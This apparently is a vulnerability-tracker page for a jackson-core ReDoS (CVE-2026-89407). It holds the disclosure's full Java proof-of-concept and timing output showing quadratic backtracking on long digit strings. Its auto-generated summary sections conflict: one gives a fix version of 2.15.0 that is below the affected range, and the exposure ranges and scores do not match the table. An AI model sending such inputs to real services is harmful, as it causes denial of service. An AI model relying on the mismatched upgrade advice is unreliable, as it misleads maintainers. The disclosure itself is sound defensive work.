CVE-2026-89407 · GHSA-p6pp-m3f8-5c89
jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
- Risk score
- 64/100
- CVSS
- 7.5 v3.1
- Exploit chance (30 days)
- 0.5%
- Published
- 1 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds…
- Affected
- com.fasterxml.jackson.core:jackson-core (maven) >= 2.17.0, <= 2.18.10; com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, <= 2.21.6; com.fasterxml.jackson.core:jackson-core (maven) >= 2.22.0, <= 2.22.2; tools.jackson.core:jackson-core (maven) >= 3.0.0, <= 3.1.6
- Fix
- Upgrade com.fasterxml.jackson.core:jackson-core to 2.18.11 or 2.21.7 or 2.22.3; tools.jackson.core:jackson-core to 3.1.7 or 3.2.2 (whichever matches your release line) or later.
- Exploitation
- No known exploitation
Story map
At a glance
com.fasterxml.jackson.core:jackson-core: Amber, patch this week. The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the int…
The flaws
- CVE-2026-89407: Jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() (CVSS 7.5 · EPSS 1%)
- CVE-2026-68494: Jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq) (CVSS 8.7)
- CVE-2026-89425: Jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS) (CVSS 7.5 · EPSS 0%)
The fix
Upgrade com.fasterxml.jackson.core:jackson-core: 2.15.0 or later on your release line
Who is exposed: com.fasterxml.jackson.core:jackson-core (maven) < 2.18.8; com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, < 2.21.4; tools.jackson.core:jackson-core (maven) >= 3.0.0, < 3.1.4
Where it stands
- Public proof of concept
Connects to
- Same weakness: Denial of service (CWE-400). 252 other warnings in 30 days
Why it is Amber
- CVSS 7.5 high
- Remotely exploitable without logging in
- On your watchlist: Maven
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.17.0, <= 2.18.10 | 2.18.11 |
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.19.0, <= 2.21.6 | 2.21.7 |
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.22.0, <= 2.22.2 | 2.22.3 |
| tools.jackson.core:jackson-core | maven | >= 3.0.0, <= 3.1.6 | 3.1.7 |
| tools.jackson.core:jackson-core | maven | >= 3.2.0, <= 3.2.1 | 3.2.2 |
References
- https://github.com/advisories/GHSA-p6pp-m3f8-5c89
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89
- https://nvd.nist.gov/vuln/detail/CVE-2026-89407
- https://github.com/FasterXML/jackson-core/issues/1649
- https://github.com/FasterXML/jackson-core/pull/1650
- https://github.com/FasterXML/jackson-core/pull/1701
- https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d
- https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff
- https://github.com/advisories/GHSA-p6pp-m3f8-5c89
Original description
## Status **FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java` (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point `looksLikeValidNumber()` lines ~646-656) ## Technical Analysis ```java private final static Pattern PATTERN_FLOAT = Pattern.compile( "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?"); private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile( "[+-]?[0-9]+[\\.]"); public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERN_FLOAT.matcher(s).matches() || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches(); } ``` `PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class: `[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the `[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking shape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex (`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class. Critically, the length gate that applies to this specific path is `StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength` (default **1,000**) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java java -cp "poc:$CP" PoC8_NumberInputReDoS ``` ## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`) ```java import com.fasterxml.jackson.core.io.NumberInput; public class PoC8_NumberInputReDoS { public static void main(String[] args) { int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000}; long[] timesMs = new long[sizes.length]; System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n"); for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x"; if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up } long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1_000_000; timesMs[i] = elapsedMs; System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); } System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; } System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000)."); if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERN_FLOAT on non-matching input."); } } static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } } ``` ## Captured Evidence (actual run output) ``` Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n: n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x) Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string. => REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERN_FLOAT on non-matching input. ``` This is an
Last activity 1 Oct 2026. Patch Forecast updates every hour.